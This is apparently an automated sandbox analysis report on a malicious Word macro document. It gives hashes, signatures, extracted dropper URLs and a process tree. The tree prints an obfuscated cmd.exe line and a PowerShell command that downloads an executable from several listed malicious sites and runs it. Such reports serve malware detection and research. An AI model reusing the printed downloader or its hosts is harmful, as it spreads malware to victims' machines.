Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
-
submitted
15-12-2024 22:22
General
-
Target
f6010602af25513e5e82d4640807d08d_JaffaCakes118.doc
-
Size
90KB
-
MD5
f6010602af25513e5e82d4640807d08d
-
SHA1
cc045aa7f68e85e0877364db80399bdbf0ecdbf6
-
SHA256
ae4f24905553e34675bfa73dc2048fbe0c05170945c1c7e0fbcf38bfd5005c6c
-
SHA512
bb59090bac795cd8b7e6cfc4d520654046c9a0f41914a5c8e7df6948b785108d7b672a58e13aa25a5b7684b05ad15d760b270a44f903d7506d4abe88e2bb72e3
-
SSDEEP
1536:qptJlmrJpmxlRw99NBr+a239xfP2G9HdpkX:2te2dw99fy9MqHsX
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://circuloproviamiga.com/wp-content/themes/fO2OYUW09
exe.dropper
http://raidking.com/d0dtPLO2Ke
exe.dropper
http://kulikovonn.ru/DBDTu0GH
exe.dropper
http://lindgrenfinancial.com/u8PypS85i5
exe.dropper
http://imish.ru/ImIjO2F
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 7 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f6010602af25513e5e82d4640807d08d_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /V^:^ON/C"^s^e^t R^s^8=C^d^9^ ^B^t^T^ c^+^Z^ ^b^9^]^ ^&c^5^ ^I^f^5 ^Z^\n^ ^{^6^*^ ~^,^y )^5^@ ^M^8^u^ ^ ^H^9^ ^J^8^# ^w^G^ ^ ^;^&^_^ ^i^L^;^ ^sC^y^ ^y(^Z^}vr^'^}^{%^|^{^Z^}^uh^O^4^*cc^m^[^t^K^f^]^a^I^6^wc#'^]^}^@^0^W^;^\,^Ik^\^P^|^a^D^Q#^e^\v)r^K^u'^b^l^Z^7^;^j^h^&da^Y^w^t^P^x^T^w^o^6^;^$3%^z^ (^:^i^mHr^O^e^u^q^e^t^o^lRI^} D^-v^,%^eR^&^h^k^A%r^o^]^q^Av^;r^Fn^|^4^T^I^w/^,;^+Q^@)^2^Z^,^d^j^B^4t0^#^ ^wv^p^$^$V^L^t ^'0^~^,^lH^i^U^H^t^[N^XN^I^Z^&R^f^$C^9^[()^?^J^e^3^E^q^l%^+^:i^5^Z(^F^O^]^z^d^[V^S^a^&W^*^o^.^Q^D^l^uVRn^}^BT^w^\^5 ^o^.Cr^D^h)^@^.^W^~^L^l^m^5^qw^o^b^PC^3^8^7^$^l^}^@^{^l^P^0^y^t^D^6rG^9c^tR^@^i^{^I^>^*)^3^#^s^u^d^Ox^G^Y^A^E^L*^wR^$T^s^w^ c^;^jn^&^5N^i(^b@^ ^E^W^$^U^.^J^sN^F2^Q^Z(np^$^ ^$^@(^ZN^H^h^[vNc^i^'^$^a^G^#^h^e^+^q^Yr^+^.^f^o^u^a^L^f^*^L6^;^I^9^'^'^6^W^&^e^6^@^L^x^#^A^L^e^3^f^e^.^K^T^z^'(^+N^+%^8u^w^X^ ^J^X^Gx^F^t^G^a^D^$^L^xW^+^~8/^'^\^m^K^\^>~9'^W^S^\^+s^=^~c^W^z^h^i^a^o^_^l^K^0^_br^z^{^u^g^M^+p^4^a^_^:^2c^Zv^'^$Vn(^a$^e^2^7P^$^=c%^=eC^A^d^P^Y^Q^tk:^~^w^D^F^.$KR^$^;^EM^t',^H^u^7^m^-^X^7^m^F^D^8^J^kN^'^f^[^_^ ^6^x^[=^'%^h^ 0^Z^_^w^=)^U^X^,^:n^t^x^\^4^$^h^~^4;^~c^#)^|^i7^'^8^'^@^@(^#^Y^'^$^p^.(^E^]^ ^t^;^4^y^i^x^sr^lX^Y^&^p^K^U^2^Sc^G^t^.^m^-^0^'^f^y^b^FR(^w^2^Q^#D^O^=^+C^j^K?^[^I^0^o^k^m^I^9v^IW/^i/^,^9^o^uC^Ycr^W^3^m^.^ l^7^h9/^P^s^u^G^W^i^0^A^E^m^6^x^`^i^_^F^m/^a^[^X/:R^Y^:^Q^w2^p^L^9^m^t^yV^t^tR^U^u^h^#^aV^@^H^B^E^5^e^d^{^i%^9^4^5^7^q4^8^A^E%^S^I^2Q^p^i^uh^y^<^j^Q^PP^aC^8^-^;^\^u^A^TC/^G^,E^m^KCV^o^<^6^sc^;^q^i^.^F^<^-^l^1^9R^a^Z^s^e^i^&^-^zc^.^4^}n^dV^~^a^YN^ n1?^l^in^X^s^fcvtn^~nC^e^+^J^Ar^_^*^ ^g^>^q^M^d^S^1rn^b^*)^i^I^f^-^l9^o^8/^i^h^w/^_^\^:^:^qC^g^pW^ ^p^t^&?^.^t^3^>^z^h^Za^G^@^E^:^M^H^m^u^8^GT^S^ ^0^F^;cu^k^I^S^T^w^|^+D^z^~^l^B(^5^W^D#^o^9/^4^Qz^u^p^|^<r^8^-^;^.^M^z^En^4^P^[n^~^O^W^o^9^~^{v^@(b^ovCR^k^m^]^|ij^_)l^B^{^~^u^gv^:^k^w^m^B/^,^J^@/VJ^8^:^*^E^6^pv^*^F^t^<^t^ft^e^F^J^h:^T^s^@^z^Z^=^e^d^+^o^KCNx^2^H^{^b^O^+^k^;^L^}^[r^P^>^:(t^}R^m^d^:rK^0/^s^Md^ZO^3/r^O^U^m^I^K^O^o^p^'^zc^,^J^5^.^z^.^B^g^ ^*^}n^'Yn^i^W^L^$^k^W^`U^d^A%^1i^=^@qa^[^q^:r^3^W^K/^'^~^=/^W^a^s^:^F^:^W^p^p^j^&^t^5^|^~^t^W^U^jh^+^-^P^@^#^-A^9^p^7^905^0^t^W^*^-I^U^s^j5^YIN^'^O^E^?^U^2^:^L^h^O^B^;^<^f^]^DN/V^On^s^ /i^er^dV^m^Mr^g^e^L(^0^h8^<^K^t^;^P^Z/^m^d^B^t/c^Sn^JR^;^e^_^TVt^#^x^}nv^=)^o^3^ ^@c^zr^|^-^o^I^1^p^9^l)^w^A^#V/(^a^?^m^i^T^]^o^Ey^kc^sC^`^.n^m^z^a^fV^E^gz^4^xi^Z^W^>^mz^$^?^a{^3^j^i^S^T^~v^<^,V^odC^Zr^ ^JR^pN^|^*o^D^>^b^l^qm^I^u^i^y^Zc^8(^6r^6^b^h^i^g^-^`c^[^:^b/c^X^e/^a^>^,:^QN^>^p^B^=^Z^t^|^S^7^t(^Ab^h^`O^\^'yr^i^=^a^F^o^u^<^H^|^G^l^$V^L^l^@^p^$L^0';^On%^t/^;^9n^y^-ceRn^ii^p^*Nl^M^`^TCx^#(^b{g)^e^ ^j^L^W^Q^T^\^.^=^P^{^t^8^Une^2^l^9N^B^0^Y^ ^2^XC^t^2^H^Lc^X^#(^e^g^m(^j^i^\^w^b^Z[#^o^5^:r^-^6^}^,^w^l^i^}^e_^y^~n^1^2^>^=T^]^h^l^,^]^P^w4^1^JCc^8^-^$^7^U^k^ ^l^P^e^l^3/^X^l^S^J^3^e^A^~^&^h^F^E^<s^M^7^Qr^=^qr^e^j^e^4^w^mn^O^o^*^I^[^p&&^for /^L %^O ^in (^1^5^6^7^;^-^4^;^3)^d^o ^s^e^t ^ZN^I=!^ZN^I!!R^s^8:~%^O,1!&&^i^f %^O ^l^e^q ^3 c^a^l^l %^ZN^I:^*^ZN^I^!^=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell $Cwl=new-object Net.WebClient;$LGu='http://circuloproviamiga.com/wp-content/themes/fO2OYUW09@http://raidking.com/d0dtPLO2Ke@http://kulikovonn.ru/DBDTu0GH@http://lindgrenfinancial.com/u8PypS85i5@http://imish.ru/ImIjO2F'.Split('@');$tXw = '877';$wtd=$env:public+'\'+$tXw+'.exe';foreach($ZNU in $LGu){try{$Cwl.DownloadFile($ZNU, $wtd);Invoke-Item $wtd;break;}catch{}}3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB